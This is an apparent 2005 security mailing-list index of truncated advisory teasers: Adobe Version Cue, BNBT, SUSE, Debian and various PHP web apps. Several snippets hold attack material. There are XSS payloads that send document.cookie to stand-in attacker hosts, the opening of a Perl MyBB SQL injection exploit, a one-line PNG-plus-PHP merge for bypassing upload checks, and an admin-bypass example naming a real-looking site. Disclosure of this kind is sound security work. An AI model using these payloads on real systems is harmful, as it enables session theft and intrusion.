Adobe Version Cue VCNative Arbitrary File Overwrite Vulnerability

iDEFENSE Security Advisory 08.29.05
www.idefense.com/application/poi/display?id=297&type=vulnerabilities
August 29, 2005

I. BACKGROUND

Adobe Version Cue is a software version tracking system for Adobe
products distributed with Ado

[ more ]  [ reply ]

BNBT EasyTracker Remote Denial of Service Vulnerability

by Sowhat

Last Update:2005.08.30

http://secway.org/advisory/AD20050830.txt

Vendor:

http://bnbteasytracker.sourceforge.net/

Product Affected:

7.7r3.2004.10.27 and below

Overview:

BNBT was written by Trevor Hogan. BNBT is a complete port

[ more ]  [ reply ]

Adobe Version Cue VCNative Arbitrary Library Loading Vulnerability

iDEFENSE Security Advisory 08.29.05
www.idefense.com/application/poi/display?id=296&type=vulnerabilities
August 29, 2005

I. BACKGROUND

Adobe Version Cue is a software version tracking system for Adobe
products distributed with Ad

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

________________________________________________________________________
______

SUSE Security Announcement

Package: pcre
Announcement ID: SUSE-SA:2005:048
Date: Tu

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

________________________________________________________________________
______

SUSE Security Announcement

Package: php4, php5
Announcement ID: SUSE-SA:2005:049
Date:

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
--
Debian Security Advisory DSA 789-1 security (at) debian (dot) org [email concealed]
http://www.debian.org/security/ Martin Schulze
August 29th, 2005

[ more ]  [ reply ]

[NewAngels Advisory #1] AutoLinks Pro 2.1 - Remote File Include Vulnerability
========================================================================
=====

Software: AutoLinks Pro
Version: 2.1
Type: Remote PHP File Include Vulnerability
Risc: High

Date: 16.08.05
Vendor: ScriptsCenter
Page: http:/

[ more ]  [ reply ]

You are partially correct. Prior to this advisory, Sophos & rem0te agreed to w/hold details until all fixes were available (August 26th). The Sophos link you provided below does not disclose any details of the vulnerability - only the patch - which leaves a lot of people guessing about the actual vu

[ more ]  [ reply ]

The Web Application Security Consortium is proud to present 'Preventing Log Evasion in IIS',
written by Robert Auger. In this paper Robert describes an issue which allows an attacker
to evade multiple aspects of logging within an IIS server environment, as well as how to
remediate the problem.

This

[ more ]  [ reply ]

ECHO_ADV_22$2005

------------------------------------------------------------------------
---
PunBB BBCode IMG Tag Script Injection Vulnerability
------------------------------------------------------------------------
---

Author: y3dips
Date: August, 20th 2005
Location: Indonesia, Jakar

[ more ]  [ reply ]

#!/usr/bin/perl -w
use LWP::Simple;
## Vitem ##
if(!$ARGV[0]){
print "############# MyBB Member.php SQL Injection ##############\n";
print "## Coded By #\n";
print "################################################## ########\n";
print "## [+] Bug By W7ED - W7ED[at]hotmail.co

[ more ]  [ reply ]

"that means you can "keep" the user on a site. when you type a new url
in the address-bar, javascript overwrites it."
Annoying, but not very dangerous.
When I type a new url, I get brought to a "file://localhost/[...]/unload.html". Then I type a new url, and that's ok.
I wouldn't disable javascr

[ more ]  [ reply ]

By The Name Of Allah

Vulnerability in Helpdesk software Hesk ..

Vulnerability Type : Login into The Administrator Menu With out Password

Injected version : Helpdesk software Hesk 0.92

Vulnerability Example

http://www.springporttwppd.com/helpdesk/

add : admin.php

http://www.springporttwppd.com

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
--
Debian Security Advisory DSA 788-1 security (at) debian (dot) org [email concealed]
http://www.debian.org/security/ Martin Schulze
August 29th, 2005

[ more ]  [ reply ]

SimplePHPBlog has a vulnerability in its comment_delete_cgi.php.

The PHP script allows for the arbitrary deletion of files.

Please see following link for a perl script to demonstrate the exploit:
http://www.ftusecurity.com/pub/sphpblog_vulns
(Please add .pl extension as my ISP server preprocesses

[ more ]  [ reply ]

TITLE:
======

Land Down Under 801 And Prior Multiple SQL Injection Vulnerabilities

SEVERITY:
=========

Medium

SOFTWARE:
=========

Land Down Under version 801 and prior

Support Website : http://www.neocrome.net

INFO:
=====

Land Down Under is a multiple portal system which includes many dif

[ more ]  [ reply ]

author : l0om innate| @t | gmx.de
WWW.EXCLUDED.ORG
product: cosmoshop
version: <= 8.10.78
problem: 1. sql injection
2. cleartext passwords
3. view any file
maunuf.: www.cosmoshop.de

what is cosmoshop
*****************
cosmoshop is a comercial shop system written as a CGI.

where is the pr

[ more ]  [ reply ]

#######################################################################

Luigi Auriemma

Application: BFCommand & Control Server Manager
http://www.bfcommandcontrol.org
Versions: BFCC <= 1.22_A
BFVCC <= 2.14_B
BFVCCDaemon

[ more ]  [ reply ]

======================================================================

Secunia Research 29/08/2005

- SqWebMail HTML Emails Script Insertion Vulnerability -

======================================================================
Table of Contents

Affected Software....

[ more ]  [ reply ]

Avatar upload in FUD Forum < 2.7.1 may be tricked to upload a PHP file. To do so merge a graphic avatar file with a PHP file.
cat foo.png foo.php > upload_me.php
under linux/unix. On win try notepat :)

[ more ]  [ reply ]

Hello we haved found a vulnerability in PHP-Fusion <=v6.00.107 which allows us to steal cookies. The exploit works because of badly coded bbcode.
Well here is the exploit.

[URL=http://aaaaaa.com/UR[url=aa.com&& OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+c
ookie; location=

[ more ]  [ reply ]

hi all:

Xcon2005 closed successful on Aug 20th, 2005

Those papers released in http://xcon.xfocus.org/
Chinese version papers in http://xcon.xfocus.net/

Hacking Windows CE..............................................-- by San
Windows Kernel Pool Overflow Exploitation ......................-- by

[ more ]  [ reply ]

Bug finder:spyMASter
Web site:Realhackers.net
Contact:bendeniz_avci (at) hotmail (dot) com [email concealed]

LDU has some xss vulns
Firstly you can use html codes in your signature you can get cookies with this
put your signature that code

<SCRIPT> location.href='http://site.com/log/ekle.php?c='+escape(document. cookie)</SCR

[ more ]  [ reply ]

#################################
# Multi-CMS/Forum Vulnability's #
# Found by ap0c hackers #
# pacifico & ratboy #
#################################

Yo! Ok, well a couple new vulnabilitys have been found by.. us :)

------------------
First; e107 xss---
------------------

[li

[ more ]  [ reply ]

Sophos has had a fix for since August 5th...

http://www.sophos.com/support/knowledgebase/article/3409.htmlj. The

vulnerability was also publicly discussed prior to that time.

G

-----Original Message-----

From: list (at) rem0te (dot) com [email concealed] [mailto:list (at) rem0te (dot) com [email concealed]]

Sent: Friday, August 26, 2005 8:36

[ more ]  [ reply ]

> > Is there a scanning tool out there that can determine if there are
> > unauthorized Linksys (type) routers in a specific VLAN?
>
> Try pinging all hosts using nmap:
>
> Then find MAC addresses that are from Linksys's space. I know macchanger
> [1] has a list of what addresses belong to which ve

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

_______________________________________________________________________

Mandriva Linux Security Update Advisory
_______________________________________________________________________

Package name: gnumeric
Advisory ID:

[ more ]  [ reply ]